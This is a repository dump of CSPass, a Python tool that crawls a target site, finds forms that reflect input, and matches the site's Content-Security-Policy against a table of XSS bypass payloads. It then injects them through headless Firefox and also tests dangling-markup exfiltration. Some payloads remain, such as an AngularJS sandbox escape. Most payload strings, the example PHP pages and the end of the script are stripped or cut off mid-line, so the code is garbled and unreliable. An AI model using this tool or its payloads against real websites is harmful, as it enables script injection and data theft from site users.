├── .github
└── example.png
├── LICENSE
├── README.md
├── cspass.py
├── examples
├── Dockerfile
├── conf
│ ├── apache.conf
│ ├── php.ini
│ └── vhost.conf
├── run_bg.sh
├── run_fg.sh
└── src
│ ├── cspass1
│ └── index.php
│ ├── cspass2
│ └── index.php
│ ├── cspass3
│ └── index.php
│ ├── index.php
│ └── style.css
└── requirements.txt
/.github/example.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Ruulian/CSPass/aead1176ee303d7d613f9fde855201e5c9dda70e/.github/example.png
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 Ruulian
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # CSPass
2 |
3 | This tool allows to automatically test for Content Security Policy bypass payloads.
4 |
5 | With dynamic mode, CSPass uses selenium to test payload directly on the page and returns if payload worked or not.
6 |
7 | 
8 |
9 | ## Installation
10 |
11 | You can install CSPass by downloading the zip folder [here](https://github.com/Ruulian/CSPass/archive/refs/heads/master.zip).
12 |
13 | You can also install it by cloning the git repository:
14 | ```
15 | git clone https://github.com/Ruulian/CSPass.git
16 | ```
17 |
18 | ## Usage
19 |
20 | ```
21 | [CSPass]~$ ./cspass.py -h
22 | usage: cspass.py [-h] [--no-colors] [-d] [-a] -t TARGET [-c COOKIES]
23 |
24 | CSP Bypass tool
25 |
26 | optional arguments:
27 | -h, --help show this help message and exit
28 | --no-colors Disable color mode
29 | -d, --dynamic Use dynamic mode
30 | -a, --all-pages Looking for vulnerability in all pages could be found
31 |
32 | Required argument:
33 | -t TARGET, --target TARGET
34 | Specify the target url
35 |
36 | Authentication:
37 | -c COOKIES, --cookies COOKIES
38 | Specify the cookies (key=value)
39 | ```
40 |
41 | ## Examples
42 |
43 | You can try using CSPass on vulnerable websites by running docker, there are 2 runners: `run_bg.sh` and `run_fg.sh`.
44 |
45 | This container gets 3 pages with differents vulnerables CSP where you can handhold the tool.
46 |
47 | ## Contributing
48 |
49 | Pull requests are welcome. Feel free to open an issue if you want to add other features.
--------------------------------------------------------------------------------
/cspass.py:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env python3
2 | # -*- coding: utf-8 -*-
3 | # Author : @Ruulian_
4 | # Date created : 31 Oct 2021
5 |
6 | from random import choice
7 | from requests_html import HTMLSession
8 | from selenium import webdriver
9 | from selenium.common.exceptions import TimeoutException
10 | from selenium.webdriver.firefox.options import Options as FirefoxOptions
11 | from selenium.webdriver.support import expected_conditions as EC
12 | from selenium.webdriver.support.ui import WebDriverWait
13 | from urllib.parse import urljoin, urlparse
14 | import argparse
15 | import datetime
16 | import json
17 | import platform
18 | import re
19 | import time
20 | import urllib3
21 |
22 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
23 |
24 | color = choice([35, 93, 33])
25 |
26 | nonce_reg = r'nonce\-(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?'
27 | sha_reg = r'sha\d{3}\-(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?'
28 |
29 | general_payload = "alert()"
30 |
31 | policies_fallback = {
32 | "script-src":"default-src"
33 | }
34 |
35 | vulnerable_CSP_conf = {
36 | "script-src" : [
37 | {'value': ['unsafe-inline'], 'patch':[('script-src', nonce_reg), ('script-src', sha_reg)], 'payload': f''},
38 | {'value': ['unsafe-inline'], 'patch':[('script-src', nonce_reg), ('script-src', sha_reg)], 'payload': f' '},
39 | {'value': ['*'], 'patch':[], 'payload': ''},
40 | {'value': ['data:'], 'patch':[], 'payload': f''},
41 | {'value':['https://cdnjs.cloudflare.com', 'unsafe-eval'], 'patch':[], 'payload':"
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };%s;//');}}
" % general_payload},
42 | {'value': ['https://*.google.com'], 'patch':[], 'payload': f'">'},
43 | {'value': ['https://*.doubleclick.net'], 'patch':[], 'payload': f'">'},
44 | {'value': ['https://*.googleadservices.com'], 'patch':[], 'payload': f'">'},
45 | {'value': ['https://*.google.com'], 'patch':[], 'payload': f'">'},
46 | {'value': ['https://*.google.com'], 'patch':[], 'payload': f'">'},
47 | {'value': ['https://*.blogger.com'], 'patch':[], 'payload': f'">'},
48 | {'value': ['https://*.yandex.net'], 'patch':[], 'payload': f'">'},
49 | {'value': ['https://*.yandex.ru'], 'patch':[], 'payload': f'">'},
50 | {'value': ['https://*.vk.com'], 'patch':[], 'payload': f'">'},
51 | {'value': ['https://*.marketo.com'], 'patch':[], 'payload': f'">'},
52 | {'value': ['https://*.marketo.com'], 'patch':[], 'payload': f'">'},
53 | {'value': ['https://*.alicdn.com'], 'patch':[], 'payload': f'">'},
54 | {'value': ['https://*.taobao.com'], 'patch':[], 'payload': f'">'},
55 | {'value': ['https://*.tbcdn.cn'], 'patch':[], 'payload': f'">'},
56 | {'value': ['https://*.1688.com'], 'patch':[], 'payload': f'">'},
57 | {'value': ['https://*.amap.com'], 'patch':[], 'payload': f'">'},
58 | {'value': ['https://*.sm.cn'], 'patch':[], 'payload': f'">'},
59 | {'value': ['https://*.sm.cn'], 'patch':[], 'payload': f'">'},
60 | {'value': ['https://*.uber.com'], 'patch':[], 'payload': f'">'},
61 | {'value': ['https://*.buzzfeed.com'], 'patch':[], 'payload': f'">'},
62 | {'value': ['https://*.co.jp'], 'patch':[], 'payload': f'">'},
63 | {'value': ['https://*.yahooapis.jp'], 'patch':[], 'payload': f'">'},
64 | {'value': ['https://*.aol.com'], 'patch':[], 'payload': f'">'},
65 | {'value': ['https://*.aol.com'], 'patch':[], 'payload': f'">'},
66 | {'value': ['https://*.aol.com'], 'patch':[], 'payload': f'">'},
67 | {'value': ['https://*.aol.com'], 'patch':[], 'payload': f'">'},
68 | {'value': ['https://*.yahoo.com'], 'patch':[], 'payload': f'">x'},
69 | {'value': ['https://*.yahoo.com'], 'patch':[], 'payload': f'">'},
70 | {'value': ['https://*.aol.com'], 'patch':[], 'payload': f'">'},
71 | {'value': ['https://*.aol.com'], 'patch':[], 'payload': f'">'},
72 | {'value': ['https://*.aol.com'], 'patch':[], 'payload': f'">'},
73 | {'value': ['https://*.twitter.com'], 'patch':[], 'payload': f'">'},
74 | {'value': ['https://*.twitter.com'], 'patch':[], 'payload': f'">'},
75 | {'value': ['https://*.twitter.com'], 'patch':[], 'payload': f'">'},
76 | {'value': ['https://*.sharethis.com'], 'patch':[], 'payload': f'">'},
77 | {'value': ['https://*.addthis.com'], 'patch':[], 'payload': f'">'},
78 | {'value': ['https://*.ngs.ru'], 'patch':[], 'payload': f'">'},
79 | {'value': ['https://*.ulogin.ru'], 'patch':[], 'payload': f'">'},
80 | {'value': ['https://*.meteoprog.ua'], 'patch':[], 'payload': f'">'},
81 | {'value': ['https://*.intuit.com'], 'patch':[], 'payload': f'">'},
82 | {'value': ['https://*.userlike.com'], 'patch':[], 'payload': f'">'},
83 | {'value': ['https://*.youku.com'], 'patch':[], 'payload': f'">'},
84 | {'value': ['https://*.mixpanel.com'], 'patch':[], 'payload': f'">'},
85 | {'value': ['https://*.travelpayouts.com'], 'patch':[], 'payload': f'">'},
86 | {'value': ['https://*.pictela.net'], 'patch':[], 'payload': f'">'},
87 | {'value': ['https://*.adtechus.com'], 'patch':[], 'payload': f'">'},
88 | {'value': ['https://*.googleapis.com'], 'patch':[], 'payload': '">' % general_payload},
89 | {'value': ['https://*.googleapis.com'], 'patch':[], 'payload': f'">'},
90 | {'value': ['https://*.googleapis.com'], 'patch':[], 'payload': f'ng-app"ng-csp ng-click=$event.view.{general_payload}>'},
91 | {'value': ['https://*.googleapis.com'], 'patch':[], 'payload': f'"}
93 | ]
94 | }
95 |
96 | def date_formatted():
97 | return datetime.datetime.now().strftime("%H:%M:%S")
98 |
99 | def parse_cookies(arg:str):
100 | cookies = {}
101 | cookies_arg = arg.split(";")
102 | for c in cookies_arg:
103 | cookie = c.split("=")
104 | try:
105 | cookies[cookie[0]] = cookie[1]
106 | except IndexError:
107 | raise argparse.ArgumentTypeError("Cookies must be specified with key=value")
108 | return cookies
109 |
110 |
111 | class Scanner:
112 | def __init__(self, target, no_colors=False, dynamic=False, all_pages=False, cookies={}, secure=False):
113 | self.no_colors = no_colors
114 | self.all_pages = all_pages
115 | self.dynamic = dynamic
116 | self.target = target
117 | self.secure = secure
118 | self.pages = [self.target]
119 | self.cookies = cookies
120 | self.sess = HTMLSession()
121 |
122 | def print(self, message=""):
123 | if self.no_colors:
124 | message = re.sub("\x1b[\[]([0-9;]+)m", "", message)
125 | print(message)
126 |
127 | def succeed(self, message=""):
128 | self.print(f"[\x1b[92mSUCCEED\x1b[0m] {message}")
129 |
130 | def info(self, message=""):
131 | self.print(f"[\x1b[96m{date_formatted()}\x1b[0m] {message}")
132 |
133 | def vuln(self, message=""):
134 | self.print(f"[\x1b[93mVULN\x1b[0m] {message}")
135 |
136 | def fail(self, message=""):
137 | self.print(f"[\x1b[95mFAIL\x1b[0m] {message}")
138 |
139 | def error(self, message=""):
140 | self.print(f"[\x1b[91mERROR\x1b[0m] {message}")
141 |
142 | def banner(self):
143 | self.print(f"""\x1b[{color}m
144 | ______ _____ ____
145 | / ____// ___/ / __ \ ____ _ _____ _____
146 | / / \__ \ / /_/ // __ `// ___// ___/
147 | / /___ ___/ // ____// /_/ /(__ )(__ )
148 | \____/ /____//_/ \__,_//____//____/\x1b[0m\x1b[3m by Ruulian\x1b[0m
149 |
150 | \x1b[4mVersion\x1b[0m: 1.2
151 | """)
152 |
153 | def ping(self):
154 | try:
155 | r = self.sess.get(self.target, cookies=self.cookies, verify=self.secure)
156 | r.raise_for_status()
157 | except OSError:
158 | return False
159 | return True
160 |
161 | def get_all_pages(self, page):
162 | r = self.sess.get(page, cookies=self.cookies)
163 | if r.text != "":
164 | links = r.html.absolute_links
165 | for link in links:
166 | if link not in self.pages and urlparse(link).netloc == urlparse(self.target).netloc:
167 | self.pages.append(link)
168 | time.sleep(0.3)
169 |
170 | class Page:
171 | def __init__(self, url, cookies, secure=False):
172 | self.url = url
173 | self.cookies=cookies
174 | self.secure = secure
175 | self.sess = HTMLSession()
176 | self.csp = self.get_csp()
177 | self.vulns = []
178 |
179 | def get_csp(self):
180 | data = {}
181 | r = self.sess.head(self.url, verify=self.secure)
182 | if 'Content-Security-Policy' in r.headers.keys():
183 | csp = r.headers['Content-Security-Policy']
184 | for param in csp.strip().strip(';').split(';'):
185 | matched = re.search("^([a-zA-Z0-9\-]+)( .*)?$", param.strip())
186 | csp_name, csp_values = matched.groups()
187 | if csp_values is not None:
188 | csp_values = [v.rstrip("'").lstrip("'") for v in csp_values.strip().split(' ')]
189 | else:
190 | csp_values = []
191 | data[csp_name] = csp_values
192 | return data
193 |
194 | def format_csp(self):
195 | csp = {}
196 | for policyname in self.csp:
197 | csp[policyname] = " ".join(self.csp[policyname])
198 | csp = json.dumps(
199 | csp,
200 | indent=4
201 | )
202 | return csp
203 |
204 | def get_forms(self):
205 | r = self.sess.get(self.url, cookies=self.cookies)
206 | if r.text != "":
207 | forms = r.html.find("form")
208 | return forms
209 | return []
210 |
211 | def test_patch(self, patches):
212 | for patch in patches:
213 | patch_policy_name = patch[0]
214 | patch_policy_value = patch[1]
215 | if patch_policy_name in self.csp:
216 | r = re.compile(patch_policy_value)
217 | if any([r.match(x) for x in self.csp[patch_policy_name]]):
218 | return True
219 | return False
220 |
221 | def scan(self):
222 | vuln = False
223 | csp_keys = self.csp.keys()
224 | new_csp_keys = []
225 | for policy, fallback in policies_fallback.items():
226 | if fallback in csp_keys and policy not in csp_keys:
227 | new_csp_keys.append((policy, fallback))
228 | else:
229 | new_csp_keys.append((policy, policy))
230 |
231 | for policyname in new_csp_keys:
232 | priority = policyname[0]
233 | name = policyname[1]
234 | if priority in vulnerable_CSP_conf.keys():
235 | for exploit in vulnerable_CSP_conf[priority]:
236 | if all(x in self.csp[name] for x in exploit['value']) and (exploit['patch'] == [] or not self.test_patch(exploit['patch'])):
237 | policyvalue = " ".join(self.csp[name])
238 | self.vulns.append({'value':f"{name} {policyvalue}", 'payload':exploit['payload']})
239 | vuln = True
240 | return vuln
241 |
242 |
243 |
244 | class Form:
245 | def __init__(self, url, action, method, names, cookies, secure=False):
246 | self.url = url
247 | self.action = action
248 | self.method = method
249 | self.names = names
250 | self.cookies = cookies
251 | self.secure = secure
252 | self.sess = HTMLSession()
253 |
254 | def test_dom(self):
255 | parameters = {}
256 | value = "random_value_t0_test "
257 |
258 | for name, val in self.names.items():
259 | if val == "":
260 | parameters[name] = value
261 | else:
262 | parameters[name] = val
263 |
264 | if self.method.lower() == "get":
265 | r = self.sess.get(self.action, params=parameters, cookies=self.cookies, verify=self.secure)
266 | elif self.method.lower() == "post":
267 | r = self.sess.post(self.action, data=parameters, cookies=self.cookies, verify=self.secure)
268 |
269 | if value in r.text:
270 | return True
271 | else:
272 | return False
273 |
274 | def exploit(self, payload, dangling=False):
275 | domain = urlparse(self.url).netloc
276 | if platform.system() == "Linux" or platform.system() == "Darwin":
277 | log_path = "/dev/null"
278 | else:
279 | log_path = "NUL"
280 | options = FirefoxOptions()
281 | options.add_argument("--headless")
282 | wb = webdriver.Firefox(options=options, service_log_path=log_path)
283 |
284 | wb.get(self.url)
285 | for key, value in self.cookies.items():
286 | wb.add_cookie({'name':key, 'value':value, 'domain':domain})
287 |
288 | for name in self.names:
289 | form_input = wb.find_element_by_name(name)
290 | form_input.clear()
291 | form_input.send_keys(payload)
292 | form = wb.find_element_by_tag_name("form")
293 | form.submit()
294 | time.sleep(0.5)
295 |
296 | exploit = False
297 | if dangling:
298 | if urlparse(wb.current_url).netloc != domain:
299 | exploit = True
300 | else:
301 | exploit = False
302 | else:
303 | try:
304 | WebDriverWait(wb, 3).until(EC.alert_is_present())
305 |
306 | alert = wb.switch_to.alert
307 | alert.accept()
308 | exploit = True
309 | except TimeoutException:
310 | exploit = False
311 | wb.close()
312 | return exploit
313 |
314 |
315 | def parse_args():
316 | parser = argparse.ArgumentParser(add_help=True, description='CSP Bypass tool')
317 |
318 | parser.add_argument("--no-colors", dest="no_colors", action="store_true", help="Disable color mode")
319 | parser.add_argument("-d", "--dynamic", dest="dynamic", action="store_true", help="Use dynamic mode")
320 | parser.add_argument("-a", "--all-pages", dest="all_pages", action="store_true", help="Looking for vulnerability in all pages could be found", required=False)
321 | parser.add_argument("-k", "--secure", dest="secure", action="store_true", help="Check SSL certificate")
322 |
323 | required_args = parser.add_argument_group("Required argument")
324 | required_args.add_argument("-t", "--target", dest="target", help="Specify the target url", required=True)
325 |
326 | required_args = parser.add_argument_group("Authentication")
327 | required_args.add_argument("-c", "--cookies", dest="cookies", help="Specify the cookies (key=value)", type=parse_cookies, required=False, default={})
328 |
329 | args = parser.parse_args()
330 | return args
331 |
332 | if __name__ == '__main__':
333 | args = parse_args()
334 | scan = Scanner(target=args.target, no_colors=args.no_colors, dynamic=args.dynamic, all_pages=args.all_pages, cookies=args.cookies, secure=args.secure)
335 | scan.banner()
336 | scan.info(f"Starting scan on target \x1b[1m{scan.target}\x1b[0m\n")
337 |
338 | scan.info("Pinging page")
339 | if scan.ping():
340 | scan.info("Page found\n")
341 | else:
342 | scan.error("Page not found")
343 | exit()
344 |
345 | if scan.all_pages:
346 | scan.info("Detecting all pages...")
347 | scan.get_all_pages(scan.target)
348 | scan.info(f"{len(scan.pages)} pages found\n")
349 |
350 | for p in scan.pages:
351 | page = Page(p, scan.cookies, secure=scan.secure)
352 | scan.info(f"Scanning page: \x1b[1m{page.url}\x1b[0m")
353 | forms = page.get_forms()
354 | if forms != []:
355 | for form in forms:
356 | if 'action' in form.attrs and form.attrs['action'] != '':
357 | action = form.attrs['action']
358 | else:
359 | action = page.url
360 | if 'method' in form.attrs:
361 | method = form.attrs['method']
362 | else:
363 | method = "GET"
364 |
365 | inputs = form.find("input") + form.find("textarea")
366 |
367 | names = {}
368 | for input_tag in inputs:
369 | if "name" in input_tag.attrs:
370 | name = input_tag.attrs["name"]
371 | if "type" in input_tag.attrs and input_tag.attrs["type"] == "hidden":
372 | try:
373 | names[name] = input_tag.attrs["value"]
374 | except:
375 | pass
376 | else:
377 | names[name] = ''
378 |
379 | new_form = Form(page.url, urljoin(page.url, action), method, names, scan.cookies, scan.secure)
380 |
381 | if new_form.test_dom():
382 | scan.info("Parameter reflected in DOM and no htmlspecialchars detected")
383 | if page.csp != {}:
384 | csps = page.format_csp()
385 | scan.print()
386 | scan.print(f" [\x1b[{color}mContent-Security-Policy\x1b[0m] ".center(74, "="))
387 | scan.print(csps)
388 | scan.print(f" [\x1b[{color}mContent-Security-Policy\x1b[0m] ".center(74, "="))
389 | scan.print()
390 | if page.scan():
391 | vulns = page.vulns
392 | scan.info(f"Number of vulnerabilities found: {len(vulns)}\n")
393 | for vuln in vulns:
394 | scan.vuln(f"Vulnerability: \x1b[1m{vuln['value']}\x1b[0m")
395 | scan.vuln(f"Payload: {vuln['payload']}\n")
396 | if scan.dynamic:
397 | scan.info(f"Starting dynamic mode ...")
398 | for vuln in vulns:
399 | scan.info(f"Testing: \x1b[1m{vuln['value']}\x1b[0m")
400 | if new_form.exploit(vuln['payload']):
401 | scan.succeed(f"Payload found on \x1b[1m{page.url}\x1b[0m")
402 | scan.succeed(f"Payload: {vuln['payload']}\n")
403 | else:
404 | scan.fail("Payload tested didn't work\n")
405 | else:
406 | scan.fail(f"No XSS found\n")
407 | if scan.dynamic:
408 | scan.info("Testing Dangling Markup ...")
409 | dangling_markup_payload = "
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | CSPass Example 1
10 |
11 |
12 |
13 |
24 |
25 |
26 |
27 |
--------------------------------------------------------------------------------
/examples/src/cspass2/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | CSPass Example 2
10 |
11 |
12 |
13 |
24 |
25 |
26 |
--------------------------------------------------------------------------------
/examples/src/cspass3/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | CSPass Example 2
10 |
11 |
12 |
13 |
24 |
25 |
26 |
--------------------------------------------------------------------------------
/examples/src/index.php:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | CSPass examples
9 |
10 |
11 |
12 |
CSPass examples
13 |
You can try CSPass on those links:
14 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/examples/src/style.css:
--------------------------------------------------------------------------------
1 | /*Vars */
2 | :root {
3 | --rad: .7rem;
4 | --dur: .3s;
5 | --color-dark: #2f2f2f;
6 | --color-light: #fff;
7 | --color-brand: #57bd84;
8 | --font-fam: 'Lato', sans-serif;
9 | --height: 5rem;
10 | --btn-width: 6rem;
11 | --bez: cubic-bezier(0, 0, 0.43, 1.49);
12 | }
13 |
14 | /* Setup */
15 | body {
16 | text-align: center;
17 | background: var(--color-dark);
18 | display: flex;
19 | align-items: center;
20 | justify-content: center;
21 | min-height: 100vh
22 | }
23 | html {
24 | box-sizing: border-box; height: 100%; font-size: 10px;
25 | }
26 |
27 | /* Main styles */
28 | form {
29 | position: relative;
30 | width: 30rem;
31 | border-radius: var(--rad);
32 | }
33 | input, button {
34 | height: var(--height);
35 | font-family: var(--font-fam);
36 | border: 0;
37 | color: var(--color-dark);
38 | font-size: 1.8rem;
39 | }
40 | /* input[type="search"] {
41 | outline: 0; /* <-- shold probably remove this for better accessibility, adding for demo aesthetics for now.
42 | width: 100%;
43 | background: var(--color-light);
44 | padding: 0 1.6rem;
45 | border-radius: var(--rad);
46 | appearance: none; /*for iOS input[type="search"] roundedness issue. border-radius alone doesn't work
47 | transition: all var(--dur) var(--bez);
48 | transition-property: width, border-radius;
49 | z-index: 1;
50 | position: relative;
51 | } */
52 | label {
53 | position: absolute;
54 | clip: rect(1px, 1px, 1px, 1px);
55 | padding: 0;
56 | border: 0;
57 | height: 1px;
58 | width: 1px;
59 | overflow: hidden;
60 | }
61 |
62 | #result{
63 | font-size: medium;
64 | color: white;
65 | }
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | requests_html
2 | selenium
3 | lxml-html-clean
4 |
--------------------------------------------------------------------------------